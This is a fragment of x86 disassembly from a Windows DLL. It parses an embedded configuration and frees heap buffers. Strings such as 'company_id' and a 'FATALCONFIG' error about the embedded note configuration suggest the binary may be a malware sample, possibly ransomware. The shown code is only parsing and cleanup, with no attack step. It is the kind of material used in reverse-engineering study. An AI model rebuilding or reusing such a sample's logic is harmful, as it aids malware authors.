jmp 0x10052920
cmp dword [esp + 0x234], 0
je 0x10052957
push esi
push 0
mov eax, dword [0x1044eff8]
push dword [eax]
call sub.KERNEL32.dll_HeapFree
mov esi, dword [esp + 0x218]
test esi, esi
je 0x100529b7
cmp byte [esp + 0x10], 0
je 0x100529b7
mov edi, dword [esp + 0x220]
test edi, edi
je 0x1005299e
lea ebx, [esi + 4]
jmp 0x10052986
add ebx, 0xc
dec edi
je 0x1005299e
cmp dword [ebx], 0
je 0x10052980
push dword [ebx - 4]
push 0
mov eax, dword [0x1044eff8]
push dword [eax]
call sub.KERNEL32.dll_HeapFree
jmp 0x10052980
cmp dword [esp + 0x21c], 0
je 0x100529b7
push esi
push 0
mov eax, dword [0x1044eff8]
push dword [eax]
call sub.KERNEL32.dll_HeapFree
mov esi, dword [esp + 0x200]
test esi, esi
je 0x10052a17
cmp byte [esp + 0xc], 0
je 0x10052a17
mov edi, dword [esp + 0x208]
test edi, edi
je 0x100529fe
lea ebx, [esi + 4]
jmp 0x100529e6
add ebx, 0xc
dec edi
je 0x100529fe
cmp dword [ebx], 0
je 0x100529e0
push dword [ebx - 4]
push 0
mov eax, dword [0x1044eff8]
push dword [eax]
call sub.KERNEL32.dll_HeapFree
jmp 0x100529e0
cmp dword [esp + 0x204], 0
je 0x10052a17
push esi
push 0
mov eax, dword [0x1044eff8]
push dword [eax]
call sub.KERNEL32.dll_HeapFree
mov esi, dword [esp + 0x1d0]
test esi, esi
je 0x10052a77
cmp byte [esp + 0x1c], 0
je 0x10052a77
mov edi, dword [esp + 0x1d8]
test edi, edi
je 0x10052a5e
lea ebx, [esi + 4]
jmp 0x10052a46
add ebx, 0xc
dec edi
je 0x10052a5e
cmp dword [ebx], 0
je 0x10052a40
push dword [ebx - 4]
push 0
mov eax, dword [0x1044eff8]
push dword [eax]
call sub.KERNEL32.dll_HeapFree
jmp 0x10052a40
cmp dword [esp + 0x1d4], 0
je 0x10052a77
push esi
push 0
mov eax, dword [0x1044eff8]
push dword [eax]
call sub.KERNEL32.dll_HeapFree
cmp byte [esp + 0x28], 0
je 0x10052ad7
mov esi, dword [esp + 0x1b8]
test esi, esi
je 0x10052ad7
mov edi, dword [esp + 0x1c0]
test edi, edi
je 0x10052abe
lea ebx, [esi + 4]
jmp 0x10052aa6
add ebx, 0xc
dec edi
je 0x10052abe
cmp dword [ebx], 0
je 0x10052aa0
push dword [ebx - 4]
push 0
mov eax, dword [0x1044eff8]
push dword [eax]
call sub.KERNEL32.dll_HeapFree
jmp 0x10052aa0
cmp dword [esp + 0x1bc], 0
je 0x10052ad7
push esi
push 0
mov eax, dword [0x1044eff8]
push dword [eax]
call sub.KERNEL32.dll_HeapFree
cmp byte [esp + 0x14], 0
je 0x10052b37
mov esi, dword [esp + 0x180]
test esi, esi
je 0x10052b37
mov edi, dword [esp + 0x188]
test edi, edi
je 0x10052b1e
lea ebx, [esi + 4]
jmp 0x10052b06
add ebx, 0xc
dec edi
je 0x10052b1e
cmp dword [ebx], 0
je 0x10052b00
push dword [ebx - 4]
push 0
mov eax, dword [0x1044eff8]
push dword [eax]
call sub.KERNEL32.dll_HeapFree
jmp 0x10052b00
cmp dword [esp + 0x184], 0
je 0x10052b37
push esi
push 0
mov eax, dword [0x1044eff8]
push dword [eax]
call sub.KERNEL32.dll_HeapFree
cmp byte [esp], 0
je 0x10052b61
mov eax, dword [esp + 0x198]
test eax, eax
je 0x10052b61
cmp dword [esp + 0x19c], 0
je 0x10052b61
push eax
push 0
mov eax, dword [0x1044eff8]
push dword [eax]
call sub.KERNEL32.dll_HeapFree
cmp byte [esp + 0x24], 0
je 0x10052b8c
mov eax, dword [esp + 0x18c]
test eax, eax
je 0x10052b8c
cmp dword [esp + 0x190], 0
je 0x10052b8c
push eax
push 0
mov eax, dword [0x1044eff8]
push dword [eax]
call sub.KERNEL32.dll_HeapFree
xor esi, esi
lea ecx, [esp + 0x58]
xor ebx, ebx
call fcn.10043dc0
mov bl, 1
xor eax, eax
movzx ecx, byte [esp + 0xa8]
cmp ecx, 4
jne 0x10051492
test bl, bl
je 0x10052bfe
mov edi, dword [esp + 0xb4]
mov ecx, dword [esp + 0xac]
inc edi
mov dword [esp + 0x14], ecx
nop word cs:[eax + eax]
nop
cmp edi, 1
je 0x10052be2
lea ebx, [ecx + 0x18]
dec edi
call fcn.10043330
mov ecx, ebx
jmp 0x10052bd0
cmp dword [esp + 0xb0], 0
je 0x10052bfe
push dword [esp + 0x14]
push 0
mov eax, dword [0x1044eff8]
push dword [eax]
call sub.KERNEL32.dll_HeapFree
test esi, esi
je 0x10053072
mov edi, esi
mov esi, dword [esp + 0x34]
mov eax, dword [esp + 0x2c]
mov dword [esi], eax
lea eax, [esi + 4]
push 0xb4
lea ecx, [esp + 0xc4]
push ecx
push eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
cmp dword [esp + 0x468], 0
mov eax, dword [esp + 0x40]
movsd xmm0, qword [esp + 0x38]
mov dword [esi + 0xb8], edi
mov dword [esi + 0xc4], eax
movsd qword [esi + 0xbc], xmm0
je 0x10052c68
push dword [esp + 0x464]
push 0
mov eax, dword [0x1044eff8]
push dword [eax]
call sub.KERNEL32.dll_HeapFree
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov ecx, str.company_id
mov edx, 0xa
call fcn.10048960
jmp 0x1005254f
mov ecx, 4
mov edx, 0x1032faa0
call fcn.100489b0
mov dword [esp + 0x2c], eax
jmp 0x10053469
mov ecx, str.note_FATALCONFIG__Embedded_configuration_is_in_wrong_format:
mov edx, 4
call fcn.10048960
cmp dword [esp + 0xc4], 0
mov esi, eax
je 0x10052d8b
push dword [esp + 0xc0]
push 0
mov eax, dword [0x1044eff8]
push dword [eax]
call sub.KERNEL32.dll_HeapFree
xor ebx, ebx
jmp 0x10052553
mov eax, dword [esp + 0xc4]
test eax, eax
je 0x10052d92
mov edx, dword [esp + 0xcc]
mov ecx, dword [esp + 0xc8]
mov dword [esp + 0x2c0], eax
mov dword [esp + 0x2c4], ecx
mov dword [esp + 0x2c8], edx
lea ecx, [esp + 0xc0]
lea edx, [esp + 0x58]
call fcn.10046440
cmp dword [esp + 0xc0], 0
je 0x10052dd8
mov eax, dword [esp + 0xc4]
mov dword [esp + 0x2c], eax
jmp 0x10053451
lea esi, [esp + 0x39c]
push 0xb4
push esi
lea eax, [esp + 0xc8]
push eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
movsd xmm0, qword [esi + 0xb8]
mov eax, dword [esi + 0xc0]
mov ecx, dword [esp + 0x178]
movsd qword [esp + 0x38], xmm0
mov dword [esp + 0x40], eax
mov dword [esp + 0x2c], ecx
xor ebx, ebx
lea ecx, [esp + 0x58]
call fcn.10043dc0
mov esi, dword [esp + 0x30]
jmp 0x10052b99
xor ebx, ebx
jmp 0x10052553
mov ecx, 5
mov edx, 0x1032faa0
call fcn.100489b0
mov dword [esp + 0x2c], eax
jmp 0x1005345d
mov dword [esp + 0xc0], 0x16
lea ecx, [esp + 0x398]
lea edx, [esp + 0xc0]
call fcn.10039c70
mov esi, eax
lea ecx, [esp + 0x58]
call fcn.10043330
jmp 0x10053026
mov eax, dword [esp + 0xc4]
test eax, eax
je 0x100530e3
mov edx, dword [esp + 0xcc]
mov ecx, dword [esp + 0xc8]
mov dword [esp + 0x2d8], eax
mov dword [esp + 0x2dc], ecx
mov dword [esp + 0x2e0], edx
lea ecx, [esp + 0xc0]
lea edx, [esp + 0x58]
call fcn.10046440
cmp dword [esp + 0xc0], 0
je 0x10053102
mov eax, dword [esp + 0xc4]
mov dword [esp + 0x2c], eax
jmp 0x10053445
mov eax, 0x18
jmp 0x10052e55
push 0xe
push 1
call fcn.1001ac80
add esp, 8
jmp 0x10053100
mov eax, 0x270
push eax
push 8
call fcn.1001ac80
add esp, 8
jmp 0x10053100
push 3
push 1
call fcn.1001ac80
add esp, 8
jmp 0x10053100
push 3
push 1
call fcn.1001ac80
add esp, 8
jmp 0x10053100
push 3
push 1
call fcn.1001ac80
add esp, 8
jmp 0x10053100
push 3
push 1
call fcn.1001ac80
add esp, 8
jmp 0x10053100
push 3
push 1
call fcn.1001ac80
add esp, 8
jmp 0x10053100
push 3
push 1
call fcn.1001ac80
add esp, 8
jmp 0x10053100
push 3
push 1
call fcn.1001ac80
add esp, 8
jmp 0x10053100
push 4
push 1
call fcn.1001ac80
add esp, 8
jmp 0x10053100
push 3
push 1
call fcn.1001ac80
add esp, 8
jmp 0x10053100
push 3
push 1
call fcn.1001ac80
add esp, 8
jmp 0x10053100
push 3
push 1
call fcn.1001ac80
add esp, 8
jmp 0x10053100
push 3
push 1
call fcn.1001ac80
add esp, 8
jmp 0x10053100
push 6
push 1
call fcn.1001ac80
add esp, 8
jmp 0x10053100
push 4
push 1
call fcn.1001ac80
add esp, 8
jmp 0x10053100
push 3
push 1
call fcn.1001ac80
add esp, 8
jmp 0x10053100
push 4
push 1
call fcn.1001ac80
add esp, 8
jmp 0x10053100
push 3
push 1
call fcn.1001ac80
add esp, 8
jmp 0x10053100
push 4
push 1
call fcn.1001ac80
add esp, 8
jmp 0x10053100
push 3
push 1
call fcn.1001ac80
add esp, 8
jmp 0x10053100
push 3
push 1
call fcn.1001ac80
add esp, 8
jmp 0x10053100
push 3
push 1
call fcn.1001ac80
add esp, 8
jmp 0x10053100
push 9
push 1
call fcn.1001ac80
add esp, 8
jmp 0x10053100
push 3
push 1
call fcn.1001ac80
add esp, 8
jmp 0x10053100
push 3
push 1
call fcn.1001ac80
add esp, 8
jmp 0x10053100
push 3
push 1
call fcn.1001ac80
add esp, 8
jmp 0x10053100
push 2
push 1
call fcn.1001ac80
add esp, 8
jmp 0x10053100
mov esi, dword [esp + 0xc4]
cmp dword [esp + 0x3a8], 0
je 0x10053045
mov eax, dword [0x1044eff8]
push dword [esp + 0x3a4]
push 0
push dword [eax]
call sub.KERNEL32.dll_HeapFree
mov dword [esp + 0x398], esi
push 0x102ced7c
push 0x102ccfb0
lea eax, [esp + 0x3a0]
push eax
push 0x18
push 0x102ced3c
call fcn.10027650
add esp, 0x14
jmp 0x10053100
mov eax, dword [esp + 0x2c]
lea esi, [esp + 0xa8]
mov dword [esp + 0x398], 0x102cef5c
mov dword [esp + 0x39c], 1
mov dword [esp + 0x3a8], 0
mov dword [esp + 0x58], esi
mov dword [esp + 0x5c], 0x1012d7b0
mov dword [esp + 0xa8], eax
lea eax, [esp + 0x58]
mov dword [esp + 0x3a0], eax
mov dword [esp + 0x3a4], 1
lea eax, [esp + 0x398]
push eax
call fcn.100748a0
add esp, 4
push 1
call fcn.1016d750
add esp, 4
jmp 0x10053100
mov ecx, 6
mov edx, 0x1032faa0
call fcn.100489b0
mov dword [esp + 0x2c], eax
jmp 0x10053451
call fcn.1001ac40
ud2
mov eax, dword [esp + 0xc4]
test eax, eax
je 0x1005315a
mov edx, dword [esp + 0xcc]
mov ecx, dword [esp + 0xc8]
mov dword [esp + 0x338], eax
mov dword [esp + 0x33c], ecx
mov dword [esp + 0x340], edx
lea ecx, [esp + 0xc0]
lea edx, [esp + 0x58]
call fcn.10046440
cmp dword [esp + 0xc0], 0
je 0x10053172
mov eax, dword [esp + 0xc4]
mov dword [esp + 0x2c], eax
jmp 0x10053439
mov ecx, 7
mov edx, 0x1032faa0
call fcn.100489b0
mov dword [esp + 0x2c], eax
jmp 0x10053445
mov eax, dword [esp + 0xc4]
test eax, eax
je 0x100531ca
mov edx, dword [esp + 0xcc]
mov ecx, dword [esp + 0xc8]
mov dword [esp + 0x350], eax
mov dword [esp + 0x354], ecx
mov dword [esp + 0x358], edx
lea ecx, [esp + 0xc0]
lea edx, [esp + 0x58]
call fcn.10046440
cmp dword [esp + 0xc0], 0
je 0x100531e2
mov eax, dword [esp + 0xc4]
mov dword [esp + 0x2c], eax
jmp 0x1005342d
mov ecx, 8
mov edx, 0x1032faa0
call fcn.100489b0
mov dword [esp + 0x2c], eax
jmp 0x10053439
mov eax, dword [esp + 0xc4]
test eax, eax
je 0x1005323a
mov edx, dword [esp + 0xcc]
mov ecx, dword [esp + 0xc8]
mov dword [esp + 0x368], eax
mov dword [esp + 0x36c], ecx
mov dword [esp + 0x370], edx
lea ecx, [esp + 0xc0]
lea edx, [esp + 0x58]
call fcn.10046440
cmp dword [esp + 0xc0], 0
je 0x10053252
mov eax, dword [esp + 0xc4]
mov dword [esp + 0x2c], eax
jmp 0x10053421
mov ecx, 9
mov edx, 0x1032faa0
call fcn.100489b0
mov dword [esp + 0x2c], eax
jmp 0x1005342d
mov eax, dword [esp + 0xc4]
test eax, eax
je 0x100532f6
mov edx, dword [esp + 0xcc]
mov ecx, dword [esp + 0xc8]
mov dword [esp + 0x380], eax
mov dword [esp + 0x384], ecx
mov dword [esp + 0x388], edx
lea ecx, [esp + 0xc0]
lea edx, [esp + 0x58]
call fcn.10046320
mov eax, dword [esp + 0xc0]
test al, 3
je 0x1005330e
mov ecx, dword [esp + 0xc8]
cmp eax, 2
mov dword [esp + 0x2c], ecx
je 0x10053415
mov eax, dword [esp + 0xcc]
mov dword [esp + 0x20], eax
lea ecx, [esp + 0xc0]
lea edx, [esp + 0x58]
call fcn.10046320
mov eax, dword [esp + 0xc0]
test al, 3
je 0x10053318
mov ecx, dword [esp + 0xc8]
cmp eax, 2
mov dword [esp + 4], ecx
jne 0x10053322
mov eax, dword [esp + 4]
mov dword [esp + 0x2c], eax
jmp 0x10053415
mov ecx, 0xa
mov edx, 0x1032faa0
call fcn.100489b0
mov dword [esp + 0x2c], eax
jmp 0x10053421
mov ecx, 0xb
jmp 0x10053407
mov ecx, 0xc
jmp 0x10053407
mov eax, dword [esp + 0xcc]
mov dword [esp + 0x10], eax
lea ecx, [esp + 0xc0]
lea edx, [esp + 0x58]
call fcn.10046320
mov eax, dword [esp + 0xc0]
test al, 3
je 0x10053365
mov ecx, dword [esp + 0xc8]
cmp eax, 2
mov dword [esp + 0xc], ecx
jne 0x1005336f
mov eax, dword [esp + 0xc]
mov dword [esp + 0x2c], eax
jmp 0x10053415
mov ecx, 0xd
jmp 0x10053407
mov eax, dword [esp + 0xcc]
mov dword [esp + 0x1c], eax
lea ecx, [esp + 0xc0]
lea edx, [esp + 0x58]
call fcn.10046320
mov eax, dword [esp + 0xc0]
test al, 3
je 0x100533b5
mov ecx, dword [esp + 0xc8]
cmp eax, 2
mov dword [esp + 0x9c], ecx
jne 0x100533bc
mov eax, dword [esp + 0x9c]
mov dword [esp + 0x2c], eax
jmp 0x10053415
mov ecx, 0xe
jmp 0x10053407
mov eax, dword [esp + 0xcc]
mov dword [esp + 0x1b4], eax
lea ecx, [esp + 0xc0]
lea edx, [esp + 0x58]
call fcn.10046320
mov eax, dword [esp + 0xc0]
mov ecx, dword [esp + 0xc8]
mov edx, eax
mov dword [esp + 0x54], ecx
and dl, 3
cmp dl, 2
je 0x10053557
mov ecx, 0xf
test eax, eax
jne 0x10053564
mov edx, 0x1032faa0
call fcn.100489b0
mov dword [esp + 0x2c], eax
lea ecx, [esp + 0x380]
call fcn.100442e0
lea ecx, [esp + 0x368]
call fcn.100442e0
lea ecx, [esp + 0x350]
call fcn.100442e0
lea ecx, [esp + 0x338]
call fcn.100442e0
lea ecx, [esp + 0x2d8]
call fcn.100442e0
lea ecx, [esp + 0x2c0]
call fcn.100442e0
lea ecx, [esp + 0x2a8]
call fcn.100442e0
lea ecx, [esp + 0x290]
call fcn.100442e0
test esi, esi
je 0x100534a0
mov eax, dword [esp + 8]
lea edi, [eax + 4]
jmp 0x10053488
add edi, 0xc
dec esi
je 0x100534a0
cmp dword [edi], 0
je 0x10053482
push dword [edi - 4]
push 0
mov eax, dword [0x1044eff8]
push dword [eax]
call sub.KERNEL32.dll_HeapFree
jmp 0x10053482
test ebx, ebx
je 0x100534b6
push dword [esp + 8]
push 0
mov eax, dword [0x1044eff8]
push dword [eax]
call sub.KERNEL32.dll_HeapFree
mov eax, dword [esp + 0x24]
mov ecx, dword [esp + 0x28]
mov esi, dword [esp + 0x14]
mov ebx, dword [esp]
test eax, eax
je 0x100534d8
push ecx
push 0
mov eax, dword [0x1044eff8]
push dword [eax]
call sub.KERNEL32.dll_HeapFree
test esi, esi
je 0x100534eb
push ebx
push 0
mov eax, dword [0x1044eff8]
push dword [eax]
call sub.KERNEL32.dll_HeapFree
mov ecx, dword [esp + 0x60]
mov eax, dword [esp + 0x64]
mov edx, 0xaaaaaaab
sub eax, ecx
mul edx
mov esi, edx
shr esi, 4
inc esi
nop word cs:[eax + eax]
nop dword [eax]
cmp esi, 1
je 0x10053522
lea ebx, [ecx + 0x18]
dec esi
call fcn.10043330
mov ecx, ebx
jmp 0x10053510
cmp dword [esp + 0x5c], 0
je 0x1005353b
push dword [esp + 0x58]
push 0
mov eax, dword [0x1044eff8]
push dword [eax]
call sub.KERNEL32.dll_HeapFree
mov al, 1
xor esi, esi
xor ebx, ebx
movzx ecx, byte [esp + 0xa8]
cmp ecx, 4
jne 0x10051492
jmp 0x10052bae
mov eax, dword [esp + 0x54]
mov dword [esp + 0x2c], eax
jmp 0x10053415
mov eax, dword [esp + 0xcc]
mov dword [esp + 0xa4], eax
lea ecx, [esp + 0xc0]
lea edx, [esp + 0x58]
call fcn.10046250
cmp dword [esp + 0xc0], 0
je 0x1005359c
mov eax, dword [esp + 0xc4]
mov dword [esp + 0x2c], eax
jmp 0x10053415
mov eax, dword [esp + 0xc4]
test eax, eax
mov dword [esp + 0x98], eax
je 0x10053623
mov edx, dword [esp + 0xc8]
mov eax, dword [esp + 0xcc]
mov ecx, dword [esp + 0x98]
mov dword [esp + 0x38], ecx
mov dword [esp + 0xa0], edx
mov dword [esp + 0x3c], edx
mov dword [esp + 0x40], eax
lea ecx, [esp + 0xc0]
lea edx, [esp + 0x58]
call fcn.10046250
cmp dword [esp + 0xc0], 0
je 0x1005363b
mov eax, dword [esp + 0xc4]
mov dword [esp + 0x2c], eax
cmp dword [esp + 0xa0], 0
je 0x10053415
push dword [esp + 0x98]
push 0
mov eax, dword [0x1044eff8]
push dword [eax]
call sub.KERNEL32.dll_HeapFree
jmp 0x10053415
mov ecx, 0x10
mov edx, 0x1032faa0
call fcn.100489b0
mov dword [esp + 0x2c], eax
jmp 0x10053415
mov eax, dword [esp + 0xc4]
test eax, eax
mov dword [esp + 0x30], eax
je 0x1005389e
movsd xmm0, qword [esp + 0x1e8]
mov eax, dword [esp + 0x1f0]
mov ecx, dword [esp + 0x310]
mov edx, dword [esp + 0x328]
mov esi, dword [esp + 0x60]
movsd qword [esp + 0x3c0], xmm0
movsd xmm0, qword [esp + 0x308]
mov dword [esp + 0x3c8], eax
mov dword [esp + 0x3d4], ecx
mov ecx, dword [esp + 0x298]
cmp dword [esp + 0x64], esi
movsd qword [esp + 0x3cc], xmm0
movsd xmm0, qword [esp + 0x320]
mov dword [esp + 0x3e0], edx
mov edx, dword [esp + 0x2b0]
movsd qword [esp + 0x3d8], xmm0
movsd xmm0, qword [esp + 0x290]
mov dword [esp + 0x3ec], ecx
mov ecx, dword [esp + 0x2c8]
movsd qword [esp + 0x3e4], xmm0
movsd xmm0, qword [esp + 0x2a8]
mov dword [esp + 0x3f8], edx
mov edx, dword [esp + 0x2e0]
movsd qword [esp + 0x3f0], xmm0
movsd xmm0, qword [esp + 0x2c0]
mov dword [esp + 0x404], ecx
mov ecx, dword [esp + 0x340]
movsd qword [esp + 0x3fc], xmm0
movsd xmm0, qword [esp + 0x2d8]
mov dword [esp + 0x410], edx
mov edx, dword [esp + 0x358]
movsd qword [esp + 0x408], xmm0
movsd xmm0, qword [esp + 0x338]
mov dword [esp + 0x41c], ecx
mov ecx, dword [esp + 0x370]
movsd qword [esp + 0x414], xmm0
movsd xmm0, qword [esp + 0x350]
mov dword [esp + 0x428], edx
mov edx, dword [esp + 0x388]
movsd qword [esp + 0x420], xmm0
movsd xmm0, qword [esp + 0x368]
mov dword [esp + 0x434], ecx
mov ecx, dword [esp + 0x40]
movsd qword [esp + 0x42c], xmm0
movsd xmm0, qword [esp + 0x380]
mov dword [esp + 0x440], edx
mov edx, dword [esp + 0x2c]
movsd qword [esp + 0x438], xmm0
mov dword [esp + 0x44c], ecx
movsd xmm0, qword [esp + 0x38]
mov ecx, dword [esp + 0x20]
movsd qword [esp + 0x444], xmm0
mov dword [esp + 0x398], edx
mov dword [esp + 0x39c], ecx
mov ecx, dword [esp + 4]
mov edx, dword [esp + 0x10]
mov dword [esp + 0x3a0], ecx
mov ecx, dword [esp + 0xc]
mov dword [esp + 0x3a4], edx
mov edx, dword [esp + 0x1c]
mov dword [esp + 0x3a8], ecx
mov ecx, dword [esp + 0x9c]
mov dword [esp + 0x3ac], edx
mov edx, dword [esp + 0x1b4]
mov dword [esp + 0x3b0], ecx
mov ecx, dword [esp + 0x54]
mov dword [esp + 0x3b4], edx
mov edx, dword [esp + 0xa4]
mov dword [esp + 0x3b8], ecx
mov ecx, dword [esp + 0x30]
mov dword [esp + 0x3bc], edx
mov edx, dword [esp + 0xcc]
mov dword [esp + 0x450], ecx
mov ecx, dword [esp + 0xc8]
mov dword [esp + 0x458], edx
mov dword [esp + 0x454], ecx
je 0x100538b6
mov ecx, edi
mov edx, 0x102cc598
call fcn.100489b0
mov dword [esp + 0x2c], eax
lea ecx, [esp + 0x398]
call fcn.100452e0
mov ecx, dword [esp + 0x60]
mov esi, dword [esp + 0x64]
mov dword [esp + 0x30], 0
jmp 0x100538ed
mov ecx, 0x11
mov edx, 0x1032faa0
call fcn.100489b0
mov dword [esp + 0x2c], eax
jmp 0x100535fb
lea edi, [esp + 0x39c]
push 0xb4
push edi
lea eax, [esp + 0xc8]
push eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
movsd xmm0, qword [edi + 0xb8]
mov eax, dword [edi + 0xc0]
mov ecx, esi
movsd qword [esp + 0x38], xmm0
mov dword [esp + 0x40], eax
sub esi, ecx
mov edx, 0xaaaaaaab
mov eax, esi
mul edx
mov esi, edx
shr esi, 4
inc esi
cmp esi, 1
je 0x10053910
lea ebx, [ecx + 0x18]
dec esi
call fcn.10043330
mov ecx, ebx
jmp 0x100538fe
cmp dword [esp + 0x5c], 0
je 0x10053929
push dword [esp + 0x58]
push 0
mov eax, dword [0x1044eff8]
push dword [eax]
call sub.KERNEL32.dll_HeapFree
mov esi, dword [esp + 0x30]
mov al, 1
xor ebx, ebx
movzx ecx, byte [esp + 0xa8]
cmp ecx, 4
jne 0x10051492
jmp 0x10052bae